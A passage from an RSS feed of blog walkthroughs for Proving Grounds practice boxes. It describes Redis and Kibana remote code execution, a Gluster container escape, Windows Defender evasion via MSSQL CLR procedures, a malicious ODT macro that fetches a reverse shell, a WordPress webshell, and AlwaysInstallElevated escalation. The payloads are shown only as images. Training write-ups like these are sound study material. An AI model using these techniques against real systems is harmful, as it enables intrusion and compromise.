            <content:encoded><![CDATA[<p>Hi, today i am going to walk you through BlackGate, a hard rated proving grounds practice box.</p><p>As always i started by scanning ports and services with nmap, i also ran nuclei.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*dqQ_8X78FEb1uljtuXYlJQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*rKcpUbtUBq0YFKNhKmIonw.png" /></figure><p>We can see port 6379 is running redis, which is is <a href="https://en.wikipedia.org/wiki/Redis">an in-memory data structure store</a>. By default redis can be accessed without providing any credentials, therefore it is easily exploitable.</p><p>I then proceeded to enumerate redis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A5JBEMyXdWQSu4YAtcf-Ew.png" /><figcaption>auxiliary/scanner/redis/redis_server</figcaption></figure><p>I then used the exploit/linux/redis/redis_replication_cmd_exec to gain a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*5MAxUQUdr_ZEgOvCZi7img.png" /></figure><h3>Privilege Escalation</h3><p>Now that i had a shell i needed to upgrade my privileges.</p><p>I started of with some manual enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*SvrbzgmAfgFEc0VyV3c_yg.png" /></figure><p>Unfortunately this didn’t really seem exploitable.</p><p>next up i ran linpeas and local_exploit_suggestor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*1zpEkNg6jkgR3AiSUJc0xg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*SdhCoNxLO7tuxshUQmiNqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ccdhdo_ISO126iTAnrpRFA.png" /></figure><p>Since both scripts pointed to <a href="https://nvd.nist.gov/vuln/detail/cve-2021-4034">CVE-2021–4034</a> i decided to try that exploit first, luckily it worked and i rooted the box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*FmFMcj9g6VkIcn076rec1Q.png" /></figure><p>Overall this box was fun and way easier than other hard boxes on the platform.</p><p>Thank you for reading my walkthrough.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8efd1d9c6de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds Sirol walkthrough]]></title>
            <link>https://medium.com/@SxEl/proving-grounds-sirol-walkthrough-a89601507df4?source=rss-f977e012eba5------2</link>
            <guid isPermaLink="false">https://medium.com/p/a89601507df4</guid>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[SxEl]]></dc:creator>
            <pubDate>Mon, 16 May 2022 11:49:24 GMT</pubDate>
            <atom:updated>2022-05-16T11:49:24.992Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, today i am going to walk you through Sirol, a hard rated proving grounds practice box.</p><p>I started by enumerating ports and services with nmap:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2pijrjpCTOJXGXwjaUYE-Q.png" /></figure><p>Navigating to port 80 (http) revealed a php calculator:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*e2qmA6M6T4yIEPMblKDzSQ.png" /></figure><p>After bruteforcing directories and files i found nothing of interest, so i started checking out port 5601:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CdYSuKvh5QVMVKFZB8FYgA.png" /></figure><p>We can see the server is running kibana 6.5.0, which is vulnerable to <a href="https://www.cvedetails.com/cve/CVE-2019-7609/">CVE-2019–7609</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NSq6lZYBZ3FNdQXKn_DkyA.png" /></figure><p>To exploit this vulnerability navigate to the home page and click on try sample data, then navigate to timelion and paste the payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*7jjzmp49VZ8HsE3Ud-wuDw.png" /><figcaption><a href="https://twitter.com/chybeta?lang=en">https://twitter.com/chybeta?lang=en</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*06yYIwh1DzgDNLFm_hJVSw.png" /><figcaption>inserting the payload into timelion</figcaption></figure><p>Once that is done we can open a netcat listener on port 5601 and navigate to canvas to execute the payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*tvjydABRhq6onN3RjpAnDQ.png" /><figcaption>executing the payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*QYNsp-3To10BWFw-Y7_gVw.png" /><figcaption>receiving the reverse shell</figcaption></figure><p>Even tho we have root privileges we are in a docker container so we have to escape from it in some way to gain full control of the system.</p><p>When looking at the processes i noticed <a href="https://www.techtarget.com/searchstorage/definition/GlusterFS-Gluster-File-System">gluster</a> running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*Plcmq87DZGLV_-KLY8NWrw.png" /></figure><p>After some research i found gluster to be vulnerable to a local privilege escalation exploit: <a href="https://access.redhat.com/articles/3414511">cve-2018–1088</a>, this exploit will allow us to escape the docker container and fully compromise the machine.</p><p>To exploit cve-2018–1088 we basically mount a share to a share on the server containing the gcron_enabled file and add a malicious cronjob that will execute a reverse shell on the main host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*0_ER-HIGYm8IUehalN2Tcw.png" /><figcaption><a href="https://drive.google.com/open?id=1O1Bk4iXlsmO8cq9aCvAv_TFIvsL-d2YzUZga5k_f_Xg">https://drive.google.com/open?id=1O1Bk4iXlsmO8cq9aCvAv_TFIvsL-d2YzUZga5k_f_Xg</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*rhSFQKLwidsw8ZihiNa4zg.png" /><figcaption>creating the share to mount to the host</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*aCSg9SCeP5SMPkIuOltTNA.png" /><figcaption>mounting the share through gluster</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*o-SWxGcofiZlKrnRb8tU9g.png" /><figcaption>creating the scheduled task to be executed</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*uG1M_A6TRWEdtMlQOyVWtA.png" /><figcaption>creating the malicious payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*yRsadZFtKisC0KEOJ7cP3w.png" /><figcaption>cronjob downloading my malicious executable</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*AswIpnD47U1hLnGA-5yoOg.png" /><figcaption>gaining full compromise</figcaption></figure><p>Overall this box was fun and also a slightly harder than an intermediate box in my opinion.</p><p>As always thank you for reading my walkthrough!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a89601507df4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds Meathead walkthrough]]></title>
            <link>https://medium.com/@SxEl/proving-grounds-meathead-walkthrough-cd8d6ba770fb?source=rss-f977e012eba5------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd8d6ba770fb</guid>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[meathead]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[SxEl]]></dc:creator>
            <pubDate>Tue, 10 May 2022 13:25:14 GMT</pubDate>
            <atom:updated>2022-05-10T13:25:14.794Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi, today i am going to walk you through Meathead, a hard rated windows PG practice box.</p><p>First off i started by enumerating ports and services on the machine with nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*2r4DbuujRHNuWY8WO0qTjg.png" /></figure><p>We can see there is a website running on 80, after enumerating the site manually and performing directory discovery with gobuster it turned out to be a waste of time, next up i tried enumerating SMB, unfortunately it was password protected.</p><p>Next up was FTP, since anonymous login was allowed i logged in and grabbed all the available files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*AzzWLWjNqTAdvn9help0vQ.png" /></figure><p>At first i checked out the word document, which wasn’t of interest. I then tried to extract the MSSQL_BAK.rar archive. Since it was password protected i had to crack it before i could extract the files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*rIk4OjcQlPjndI9bPI-hag.png" /><figcaption>extracting the hash with zip2john online</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xcvoEPraxw-m4SR4QjUtSQ.png" /><figcaption>cracking the hash with hashcat</figcaption></figure><p>Now that i have cracked the password for the archive i can finally extract the files inside it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*DPPgc5gPubwmkMuP3H4h7g.png" /></figure><p>Inside the mssql_backup.txt there are some credentials for the mssql service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*1X79IkUEzxHC9YxkxEVFow.png" /></figure><p>Great, now we can login on port 1435, i wanted to use <a href="https://docs.microsoft.com/en-us/sql/tools/mssql-cli?view=sql-server-ver15">mssql-cli</a> but after spending way to much time trying to fix it i just decided to use metasploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*-sr12TcLx7xgfztuUBsDKQ.png" /><figcaption>confirmed credentials are valid</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*eIBEVEEfxLKQ81oEA-ivBQ.png" /><figcaption>Command execution as mssql service account</figcaption></figure><p>Great, now i only had to gain a full fledged shell so i could collect the flags.</p><p>This was the trickiest part, the box has Windows Defender enabled, so i could not simply upload a meterpreter executable and execute it,</p><p>I tried executing multiple payloads, encoding them, even embedding them in regular executables. Unfortunately none of that worked. So i tried uploading a aspx web-shell thinking it would be less likely to get flagged, unfortunately it still got flagged as malicious</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ax1pzSLbHn2KniVk-k5bvg.png" /><figcaption>getting flagged by antivirus</figcaption></figure><p>So after a while i started looking around for metasploit modules which could maybe bypass antivirus and i found this one</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wqvUYphtrXqMcZ5Sq8UEeg.png" /><figcaption>metasploit module used to gain a full fledged reverse shell</figcaption></figure><p>This module will execute code using <a href="https://www.c-sharpcorner.com/UploadFile/ff2f08/clr-stored-procedure-in-sql-server/">clr stored procedures</a> (CLR stored procedures are .NET objects that run in the database’s memory, making it way less likely to be caught by windows defender since we are executing code inside the mssql process without really touching the disk)</p><p>Now, if you are following along you are going to have to try multiple payloads, i tried a lot of them but the one that worked was a regular stageless meterpreter shell.</p><p>Great, so now i found a module which will evade windows defender and give me a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*oaz-Cf2hYNPuETlzvaZ8eg.png" /><figcaption>executing the payload and gaining a shell as NT AUTHORITY\SYSTEM</figcaption></figure><p>Overall i really liked this box because it was challenging and more real world’ish compared to other boxes available on Proving Grounds</p><p>Thank you for reading my walkthrough!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd8d6ba770fb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds Craft walkthrough]]></title>
            <link>https://medium.com/@SxEl/proving-grounds-craft-walkthrough-f47bf4a55b0f?source=rss-f977e012eba5------2</link>
            <guid isPermaLink="false">https://medium.com/p/f47bf4a55b0f</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[SxEl]]></dc:creator>
            <pubDate>Sat, 07 May 2022 17:26:44 GMT</pubDate>
            <atom:updated>2022-05-07T17:26:44.614Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey guys, today i am going to walk you through Craft, a medium rated box from proving grounds practice.</p><p>First things first i started enumerating ports and services with nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*1D82D9DVbCM-f-qYOOBhsA.png" /></figure><p>We can see that the only open port is 80, going to the web site running on port 80 we can see that they are hiring</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*sP1J1LmO6hZUvxlx3aaHJA.png" /></figure><p>i thought i would be a good fit so i decided to write a very special resume, jokes aside i tried using metasploit to generate a malicious word document</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*enZ334S6l7gFuJFs4ez1UA.png" /></figure><p>but as you can see they only accepted <a href="https://en.wikipedia.org/wiki/OpenDocument">ODT</a> files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*_zK1vwoj_D0lmyU818Y-Nw.png" /></figure><p>Once again i tried using metasploit to generate a malicious resume but this time in the odt file format</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*ljW-deYUcxVe3bMGBFqbXQ.png" /></figure><p>Unfortunately this one didn’t work, so i tried another variant</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*wqxnyLRnsR9tHN9XRF-9AA.png" /></figure><p>This one wouldn’t give me a reverse shell, instead it would connect to my smb share and give me a hash. This proved kind of useless since i didn’t manage to crack it, and even if i did there wasn’t much to authenticate to since 80 was the only accessible port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i_MNl2ypq5Vdi8SR78HDXg.png" /></figure><p>So after trying to use metasploit i decided to craft the file myself (after all the box’s name is craft), after a couple of minutes my .odt file was ready, this is the macro i used to trigger a reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*S9dkwlTEsfUUYrXUuRv_nA.png" /></figure><p>Once executed the victim would download and execute my powershell reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*SAzvxpU57tYZLA_zih8Y7g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*yARipPEu4EiTsZNjnFmTCQ.png" /><figcaption>uploaded my “resume”</figcaption></figure><p>Sure enough thecybergeek opened my resume and gave me a reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*ojkh0UJXZZTixaN-mABOEA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*OT3rKghg_LUty-p1kGuYVA.png" /></figure><h3>Privilege Escalation</h3><p>Okay, here is where things got tricky.</p><p>The original path intended was to switch user to apache, and perform an impersonation attack. I took a completely different approach and it still worked out, unfortunately it took me one and a half hours and if i had just read a hint i would’ve gotten system in a couple of minutes.</p><p>Anyway this is what i did:</p><p>First of i like to always enumerate as much as possible manually then run winPEAS and if i still haven’t gotten anything local_exploit_suggester usually does the trick.</p><p>During my manual enumeration i didn’t find much at all, the build was vulnerable to two exploits (found using systeminfo + searchsploit) but they didn’t seem to be working, next i enumerated any driver and program available on the box but still nothing. After a while i ran winPEAS which discovered an unquoted service path</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MT2-YbwINQDDr2m5JDCmAQ.png" /></figure><p>Unfortunately i did not have write permission anywhere in the path.</p><p>Other than that i really didn’t have anything useful to escalate.</p><p>eventually i just got frustrated and ran local_exploit_suggester. One thing about this module is that it may find different exploits for different architectures. First i ran it using an x86 process, tried every listed exploit but got nothing, eventually i moved on to a x64 process and finally got something promising</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L3ffXeQtVG3bR2owO67cFA.png" /></figure><p>The target was vulnerable to <a href="https://cpp.codetea.com/exploit-for-cve-2021-40449-win32k-elevation-of-privilege-vulnerability-lpe/">cve_2021_40449</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*s68_SdMaXONyc8yi-q6xEw.png" /></figure><h3>Summary</h3><p>nmap to enumerate ports → manual website enumeration → crafting a odt file with a malicious macro → uploading the file and waiting for it to get executed → privilege escalation via cve_2021_40449 or the intended path</p><p>thank you for reading my writeup!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f47bf4a55b0f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds Shenzi walkthrough]]></title>
            <link>https://medium.com/@SxEl/proving-grounds-shenzi-walkthrough-443435a49e7?source=rss-f977e012eba5------2</link>
            <guid isPermaLink="false">https://medium.com/p/443435a49e7</guid>
            <category><![CDATA[shenzi]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <dc:creator><![CDATA[SxEl]]></dc:creator>
            <pubDate>Thu, 05 May 2022 16:07:22 GMT</pubDate>
            <atom:updated>2022-05-05T16:07:22.966Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, today i am going to walk you through an intermediate rated box (Shenzi) from Proving Grounds practice.</p><p>First of as always i started with an nmap scan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*juLeFwv9FxVOYz-ok9ofVQ.png" /><figcaption>nmap -p- -A -sV -v $ip</figcaption></figure><p>From this result we already know this is a windows box running xampp on port 80 and 443.</p><p>I proceeded to enumerate ftp and smb first, unfortunately ftp didn’t reveal any interesting information. On the other hand the shenzi smb share was very juicy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*-bRwcA_GNnessavGrH5iCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*ME9f-Lo3F0FJWDd5RZhucg.png" /></figure><p>Since i didn’t know any directories where i could log in to the different services yet, i ran gobuster on the webroot</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*5-5Os9KV3V0cVE66pfseoQ.png" /></figure><p>this wasn’t very helpful because phpmyadmin and webalizer were only available internally, so after a good half hour of bruteforcing files and directories i tried to visit /shenzi , and sure enough it existed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-7S8ixeiZ7kJ1TjA2fEchQ.png" /></figure><p>next up i ran wpscan to enumerate wordpress, this wasn’t very helpful but it was still good practice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d4tmSbAyp8jTIYDqlrNn3Q.png" /></figure><p>Since i have credentials for the wordpress admin console i logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*7L8xKiWxwICVk_PTynjlvA.png" /></figure><p>Now that i had access to the console i had to find a way to execute code somehow, i had two options: either upload a malicious plugin or modifying an existing file’s code.</p><p>I went with the latter one and inserted a php webshell into the 404.php file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*mVwQy-QbOiQA7t2TFOOR0w.png" /></figure><p>Very nice, now if i searched for a bogus directory i would get a web-shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*nJaxYqEcRk5fXU311mKhBg.png" /></figure><p>Since i can’t do much in a simple web-shell i created, downloaded and executed, a malicious meterpreter executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y-A_bpCPlmq5KzcMqXl3Uw.png" /></figure><blockquote>Privilege Escalation</blockquote><p>First and foremost i tried some basic manual enumeration like findstr /si password, driverquery, systeminfo… but that led nowhere. Then i executed <a href="https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe">winpeas</a>, and sure enough i found a vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*oV2gjYmDwqjvB6daqqtRDQ.png" /></figure><p>Microsoft documentation → You can use the AlwaysInstallElevated policy to install a Windows Installer package with elevated (system) privileges.</p><p>**Warning: **</p><p>This option is equivalent to granting full administrative rights, which can pose a massive security risk. Microsoft strongly discourages the use of this setting.</p><p>Great, this means i can create a malicious windows installer file and execute it with system level privileges. So i did that</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*nkR1FeJjPSnmCTXwV4QIvA.png" /></figure><p>I uploaded the file via meterpreter to save time</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*v_yt0WmLPDUj3iIxLhqWLg.png" /><figcaption>downloading and executing the malicious windows installer file</figcaption></figure><p>and sure enough a i got a system level shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*SnCFcstwJGgWFvd-c_tQ6w.png" /></figure><h3>Summary:</h3><p>ran nmap to enumerate ports and services → enumerated an smb share and discovered multiple credentials → bruteforced files and directories, eventually finding a wordpress site → logged in to wordpress admin console and modified an existing file to a web-shell → upgraded the webshell to a full fledged reverse shell→ ran winpeas and discovered AlwaysInstallElevated is enabled → crafted, downloaded and executed a malicious windows installer file → NT AUTHORITY\SYSTEM</p><p>thank you for reading my walkthrough</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=443435a49e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>